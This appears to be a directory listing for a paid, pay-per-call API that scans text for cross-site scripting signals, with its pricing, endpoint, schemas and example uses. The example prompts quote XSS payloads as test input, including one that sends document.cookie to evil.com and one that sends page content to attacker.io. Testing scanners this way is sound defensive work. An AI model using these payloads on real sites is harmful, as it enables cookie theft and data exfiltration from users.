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Delx Commerce XSS Signal Scan
x402
Delx Commerce XSS Signal Scan is a paid API for AI agents from commerce.delx.ai, paid per call via x402, $0.003/call, status unknown (last checked 2026-10-01).
Scans a text string for XSS (cross-site scripting) attack signals and returns a risk level and signal count
Price / call$0.003
Success—
StatusUnknown
How this service works
Pay-per-result APIs for agents. No signup. Exact price. Verifiable delivery. USDC on Base + Solana via x402.
Output
Returns a JSON object with a risk field ('high', 'medium', or 'low'), a signal_count integer indicating how many XSS signals were found, a text_sha256 hash of the input for verifiability, a schema identifier, an advisory note recommending parameterization and contextual encoding, and a values_returned boolean indicating whether matched values are exposed in the response.
Example use cases
Screening user-submitted form input
“Before I save this comment to my database, scan it for XSS signals and tell me if the risk is high, medium, or low: '<img src=x onerror=alert(1)>'.”
Validating API input in a pipeline
“Check this query parameter value I just received for any cross-site scripting attack patterns and give me the signal count: 'javascript:void(document.location=\'http://evil.com/steal?c=\'+document.cookie)'.”
Security audit of scraped web content
“I just scraped this text from an untrusted page — can you run an XSS signal scan on it and tell me whether it looks risky: '<svg/onload=fetch(\'https://attacker.io/log?x=\'+btoa(document.body.innerHTML))>'?”
Technical details
Endpoint
POSThttps://commerce.delx.ai/api/v1/x402/xss-signal-scan?utm_source=zero.xyzWhen to prefer
Choose this endpoint when you need a fast, pay-per-use, no-signup XSS heuristic signal check on a specific text string, especially within an agentic pipeline that already handles x402 micropayments on Base or Solana. It is ideal for lightweight pre-validation gates rather than full WAF replacement. Prefer it over heavier security scanners when cost-per-call and zero-friction onboarding matter most.
Side effects
- Missing or empty 'text' field returns a validation error
- Extremely long strings may be truncated or rejected
- Heuristic-only detection means false negatives are possible for obfuscated payloads
- False positives may occur on benign HTML-like content
- Payment failure via x402 results in 402 response before scan is executed
Input
Schema · Request body
| Field | Type | Description |
|---|---|---|
| text | string | Input field: text. |
Output
Schema · Response
{
"type": "json",
"example": {
"risk": "high",
"schema": "delx/util-xss-signal-scan/v1",
"advisory": "Heuristic only; use parameterization, contextual encoding, and allowlists.",
"text_sha256": "5c140d35dcb46a622e2cedf5ef5cc3638cdffd1c118c9331f8c84669f0b74783",
"signal_count": 1,
"values_returned": false
}
}Tags
x402
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